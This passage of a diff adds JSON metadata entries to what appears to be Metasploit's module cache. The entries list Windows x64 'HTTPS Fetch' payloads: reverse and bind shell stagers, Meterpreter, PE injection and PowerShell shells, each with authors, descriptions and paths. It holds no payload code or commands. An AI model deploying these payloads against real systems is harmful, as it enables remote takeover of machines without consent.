}, + "payload_cmd/windows/https/x64/encrypted_shell_reverse_tcp": { + "name": "HTTPS Fetch, Windows Encrypted Reverse Shell", + "fullname": "payload/cmd/windows/https/x64/encrypted_shell_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Matt Graeber", + "Shelby Pace" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to attacker and spawn an encrypted command shell", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/encrypted_shell_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/exec": { + "name": "HTTPS Fetch, Windows x64 Execute Command", + "fullname": "payload/cmd/windows/https/x64/exec", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nExecute an arbitrary command (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/exec", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/loadlibrary": { + "name": "HTTPS Fetch, Windows x64 LoadLibrary Path", + "fullname": "payload/cmd/windows/https/x64/loadlibrary", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "scriptjunkie", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nLoad an arbitrary x64 library path", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/loadlibrary", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/messagebox": { + "name": "HTTPS Fetch, Windows MessageBox x64", + "fullname": "payload/cmd/windows/https/x64/messagebox", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "pasta " + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nSpawn a dialog via MessageBox using a customizable title, text & icon", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/messagebox", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/meterpreter/bind_ipv6_tcp": { + "name": "HTTPS Fetch, Windows x64 IPv6 Bind TCP Stager", + "fullname": "payload/cmd/windows/https/x64/meterpreter/bind_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nListen for an IPv6 connection (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/meterpreter/bind_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/meterpreter/bind_ipv6_tcp_uuid": { + "name": "HTTPS Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/https/x64/meterpreter/bind_ipv6_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/meterpreter/bind_ipv6_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/meterpreter/bind_named_pipe": { + "name": "HTTPS Fetch, Windows x64 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/https/x64/meterpreter/bind_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves", + "UserExistsError" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nListen for a pipe connection (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/meterpreter/bind_named_pipe", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/meterpreter/bind_tcp": { + "name": "HTTPS Fetch, Windows x64 Bind TCP Stager", + "fullname": "payload/cmd/windows/https/x64/meterpreter/bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nListen for a connection (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/meterpreter/bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/meterpreter/bind_tcp_rc4": { + "name": "HTTPS Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/https/x64/meterpreter/bind_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves", + "hdm ", + "mihi", + "max3raza", + "RageLtMan" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to the attacker", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/meterpreter/bind_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/meterpreter/bind_tcp_uuid": { + "name": "HTTPS Fetch, Bind TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/https/x64/meterpreter/bind_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nListen for a connection with UUID Support (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/meterpreter/bind_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/meterpreter/reverse_http": { + "name": "HTTPS Fetch, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/https/x64/meterpreter/reverse_http", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nTunnel communication over HTTP (Windows x64 wininet)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/meterpreter/reverse_http", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/meterpreter/reverse_https": { + "name": "HTTPS Fetch, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/https/x64/meterpreter/reverse_https", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves", + "hdm ", + "agix", + "rwincey" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nTunnel communication over HTTP (Windows x64 wininet)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/meterpreter/reverse_https", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/meterpreter/reverse_named_pipe": { + "name": "HTTPS Fetch, Windows x64 Reverse Named Pipe (SMB) Stager", + "fullname": "payload/cmd/windows/https/x64/meterpreter/reverse_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to the attacker via a named pipe pivot", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/meterpreter/reverse_named_pipe", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/meterpreter/reverse_tcp": { + "name": "HTTPS Fetch, Windows x64 Reverse TCP Stager", + "fullname": "payload/cmd/windows/https/x64/meterpreter/reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to the attacker (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/meterpreter/reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/meterpreter/reverse_tcp_rc4": { + "name": "HTTPS Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/https/x64/meterpreter/reverse_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves", + "hdm ", + "mihi", + "max3raza", + "RageLtMan" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to the attacker", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/meterpreter/reverse_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/meterpreter/reverse_tcp_uuid": { + "name": "HTTPS Fetch, Reverse TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/https/x64/meterpreter/reverse_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to the attacker with UUID Support (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/meterpreter/reverse_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/meterpreter/reverse_winhttp": { + "name": "HTTPS Fetch, Windows x64 Reverse HTTP Stager (winhttp)", + "fullname": "payload/cmd/windows/https/x64/meterpreter/reverse_winhttp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nTunnel communication over HTTP (Windows x64 winhttp)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/meterpreter/reverse_winhttp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/meterpreter/reverse_winhttps": { + "name": "HTTPS Fetch, Windows x64 Reverse HTTPS Stager (winhttp)", + "fullname": "payload/cmd/windows/https/x64/meterpreter/reverse_winhttps", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nTunnel communication over HTTPS (Windows x64 winhttp)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/meterpreter/reverse_winhttps", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/peinject/bind_ipv6_tcp": { + "name": "HTTPS Fetch, Windows x64 IPv6 Bind TCP Stager", + "fullname": "payload/cmd/windows/https/x64/peinject/bind_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ege ", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nListen for an IPv6 connection (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/peinject/bind_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/peinject/bind_ipv6_tcp_uuid": { + "name": "HTTPS Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/https/x64/peinject/bind_ipv6_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ege ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/peinject/bind_ipv6_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/peinject/bind_named_pipe": { + "name": "HTTPS Fetch, Windows x64 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/https/x64/peinject/bind_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ege ", + "UserExistsError" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nListen for a pipe connection (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/peinject/bind_named_pipe", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/peinject/bind_tcp": { + "name": "HTTPS Fetch, Windows x64 Bind TCP Stager", + "fullname": "payload/cmd/windows/https/x64/peinject/bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ege ", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nListen for a connection (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/peinject/bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/peinject/bind_tcp_rc4": { + "name": "HTTPS Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/https/x64/peinject/bind_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ege ", + "hdm ", + "skape ", + "sf ", + "mihi", + "max3raza", + "RageLtMan" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/peinject/bind_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/peinject/bind_tcp_uuid": { + "name": "HTTPS Fetch, Bind TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/https/x64/peinject/bind_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ege ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nListen for a connection with UUID Support (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/peinject/bind_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/peinject/reverse_named_pipe": { + "name": "HTTPS Fetch, Windows x64 Reverse Named Pipe (SMB) Stager", + "fullname": "payload/cmd/windows/https/x64/peinject/reverse_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ege ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to the attacker via a named pipe pivot", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/peinject/reverse_named_pipe", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/peinject/reverse_tcp": { + "name": "HTTPS Fetch, Windows x64 Reverse TCP Stager", + "fullname": "payload/cmd/windows/https/x64/peinject/reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ege ", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to the attacker (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/peinject/reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/peinject/reverse_tcp_rc4": { + "name": "HTTPS Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/https/x64/peinject/reverse_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ege ", + "hdm ", + "skape ", + "sf ", + "mihi", + "max3raza", + "RageLtMan" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/peinject/reverse_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/peinject/reverse_tcp_uuid": { + "name": "HTTPS Fetch, Reverse TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/https/x64/peinject/reverse_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ege ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to the attacker with UUID Support (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/peinject/reverse_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/pingback_reverse_tcp": { + "name": "HTTPS Fetch, Windows x64 Pingback, Reverse TCP Inline", + "fullname": "payload/cmd/windows/https/x64/pingback_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to attacker and report UUID (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/pingback_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/powershell_bind_tcp": { + "name": "HTTPS Fetch", + "fullname": "payload/cmd/windows/https/x64/powershell_bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Ben Turner", + "Dave Hardy", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an https server", + "references": [ + "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/powershell_bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/powershell_reverse_tcp": { + "name": "HTTPS Fetch", + "fullname": "payload/cmd/windows/https/x64/powershell_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Ben Turner", + "Dave Hardy", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an https server", + "references": [ + "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/powershell_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/powershell_reverse_tcp_ssl": { + "name": "HTTPS Fetch", + 